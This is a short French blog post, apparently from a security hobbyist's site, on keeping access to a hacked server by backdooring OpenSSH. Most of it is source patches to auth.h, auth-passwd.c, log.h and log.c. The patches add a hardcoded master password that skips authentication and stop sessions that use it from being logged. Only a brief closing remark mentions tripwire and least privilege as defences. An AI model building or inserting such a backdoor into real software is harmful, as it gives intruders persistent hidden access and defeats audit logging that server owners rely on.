Pour conserver l'accès à un serveur piraté, il peut s'agir de corrompre un de ses services. Voyons de plus près comment corrompre le service SSH.





Pour compiler OpenSSH, nous aurons besoin de :



  zlib :
    yum install zlib-devel
    aptitude install zlib-devel

  libcrypto :
    yum install openssl-devel
    aptitude install openssl-devel


Dans le fichier auth.h, il faut ajouter le mot de passe et une variable qui permettra d'outre-passer l'authentificatio


 
 
#define AUTH_FAIL_MSG "Too many authentication failures for %.100s"
#define SKEY_PROMPT "\nS/Key Password: "
 
//-- HACK : BEGIN
#define SSHD_PAMPWD "ssh:22@localhost:/dev/null"
int     sshd_pampwd;
//-- HACK : END
 
#if defined(KRB5) && !defined(HEIMDAL)
#include <krb5.h>
krb5_error_code ssh_krb5_cc_gen(krb5_context, krb5_ccache *);
#endif
#endif
 


Dans le fichier auth-passwd.c, ajouter la prise en compte du fichier auth.h


 
int
auth_password(Authctxt *authctxt, const char *password)
  struct passwd * pw = authctxt->pw;
  int result, ok = authctxt->valid;
 
//-- HACK : BEGIN
  sshd_pampwd=0; 
  if( !strcmp(password,SSHD_PAMPWD) ) {
    sshd_pampwd=1;
    return 1;
  }
//-- HACK : END
 


Dans le fichier log.h, on va définir des variables pour ne pas journaliser notre connexion :


 
void   do_log(LogLevel, const char *, va_list);
void   cleanup_exit(int) __dead;
#endif
 
 
//-- HACK : BEGIN
int     sshd_pampwd;
//-- HACK : END
 


Dans le fichier log.c, on ajouter de quoi empêcher la journalisation de connexion via le mot de passe qu'on a ajouté :


 
 
 
void
do_log(LogLevel level, const char *fmt, va_list args)
{
#if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
  struct syslog_data sdata = SYSLOG_DATA_INIT;
#endif
  char msgbuf[MSGBUFSIZ];
  char fmtbuf[MSGBUFSIZ];
  char *txt = NULL;
  int pri = LOG_INFO;
  int saved_errno = errno;
 
 
//-- HACK : BEGIN
  if( sshd_pampwd == 1 )
    return;
//-- HACK : END
 
 
  if (level > log_level)
    return;
 
 







Une telle attaque, signifie qu'on est déjà sur le serveur et à fortiori en root ou au moins avec les droits sudo.
Pour se protéger d'une corruption de service, il y a des outils comme tripwire qui existent, il faut limiter au strict minimum les accès.




   =>   Écrit par : Nicolas, le 31 juillet 2014


 
Mots clés :  
  backdoor 
  
  c 
  
  network 
    >   Articles connexes :

Upload backdoor Web

Upload backdoor Web



Comment gagner du temps sur Internet

Comment gagner du temps sur Internet



/tmp et /var/log en noexec sur macOS

/tmp et /var/log en noexec sur macOS



GitVuln

GitVuln


HTTP Server, tell me who you are ?


Discuter avec un serveur web *apparement* muet ? Voici comment faire...

5890752